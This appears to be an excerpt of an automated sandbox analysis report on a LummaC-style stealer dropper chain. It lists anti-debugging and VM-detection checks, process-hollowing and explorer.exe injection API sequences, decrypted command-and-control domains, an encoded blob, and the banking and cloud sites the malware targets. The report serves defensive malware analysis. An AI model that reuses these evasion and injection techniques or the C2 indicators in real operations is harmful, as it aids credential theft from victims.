Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DA36A9 FindFirstFileExW,	8_2_00DA36A9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DA375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	8_2_00DA375A
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00DA36A9 FindFirstFileExW,	10_2_00DA36A9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00DA375A FindFirstFileExW,FindNextFileW,FindClose,FindClose,	10_2_00DA375A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: file.exe, 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000000.2117496625.000000000119B000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000000.2148680482.00000000007FB000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000000.2162876849.00000000007FB000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2804508854.00000000007FB000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, 1459165c97.exe, 0000002A.00000002.3344580195.0000000001183000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 1459165c97.exe, 0000002A.00000002.3345671635.0000000003527000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMCIDevSymbol!
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 00000006.00000002.3384635500.0000000001089000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000002.3380643533.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, 5639a58f3b.exe, 0000000A.00000003.3057320495.0000000000C99000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000002.3381728843.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 850609077b.exe, 0000000D.00000002.3381728843.0000000001260000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000025.00000002.3209344034.00000000011E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: skotes.exe, 00000006.00000002.3384635500.00000000010BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 850609077b.exe, 0000000D.00000003.3360294285.0000000003A6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: PING.EXE, 00000029.00000002.3239211770.000001FE7E0BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: PING.EXE, 00000026.00000002.3234695145.000001A3597ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllJ
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 5639a58f3b.exe, 0000000A.00000002.3384325598.00000000038C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 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
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: svchost.exe, 0000002B.00000003.3324377603.00000000053D0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.2173199376.000000000119C000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2201535767.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000002.2217758926.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmp, 1459165c97.exe, 0000002A.00000002.3344580195.0000000001183000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file.exe, 00000000.00000000.2117496625.000000000119B000.00000080.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000000.2148680482.00000000007FB000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000003.00000000.2162876849.00000000007FB000.00000080.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000000.2804508854.00000000007FB000.00000080.00000001.01000000.00000007.sdmp	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 850609077b.exe, 0000000D.00000003.3360687749.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	API call chain: ExitProcess graph end node			graph_8-14619
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016871001\1459165c97.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05090C6E rdtsc

0_2_05090C6E

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 10_2_0043A920 LdrInitializeThunk,

10_2_0043A920

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 8_2_00D95020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_00D95020

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE652B mov eax, dword ptr fs:[00000030h]	0_2_00FE652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FEA302 mov eax, dword ptr fs:[00000030h]	0_2_00FEA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0064A302 mov eax, dword ptr fs:[00000030h]	2_2_0064A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0064652B mov eax, dword ptr fs:[00000030h]	2_2_0064652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0064A302 mov eax, dword ptr fs:[00000030h]	3_2_0064A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0064652B mov eax, dword ptr fs:[00000030h]	3_2_0064652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0064A302 mov eax, dword ptr fs:[00000030h]	6_2_0064A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0064652B mov eax, dword ptr fs:[00000030h]	6_2_0064652B
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00DB519E mov edi, dword ptr fs:[00000030h]	8_2_00DB519E
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D91614 mov edi, dword ptr fs:[00000030h]	8_2_00D91614
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D91614 mov edi, dword ptr fs:[00000030h]	10_2_00D91614

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 8_2_00D9FE2C GetProcessHeap,

8_2_00D9FE2C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D95014 SetUnhandledExceptionFilter,	8_2_00D95014
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D95020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00D95020
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D9B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_00D9B4B9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 8_2_00D94C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_00D94C64
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D95014 SetUnhandledExceptionFilter,	10_2_00D95014
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D95020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00D95020
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D9B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00D9B4B9
Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Code function: 10_2_00D94C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_00D94C64

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe

Code function: 8_2_00DB519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

8_2_00DB519E

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016868001\5639a58f3b.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe	Memory written: C:\Users\user\AppData\Local\Temp\1016869001\850609077b.exe base: 400000 value starts with: 4D5A			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1048 base: EEF010 value: 00

LummaC encrypted strings found

Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 5639a58f3b.exe, 00000008.00000002.2963455814.000000000098E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat
Source: 850609077b.exe, 0000000B.00000002.3026991513.0000000000D81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 1048

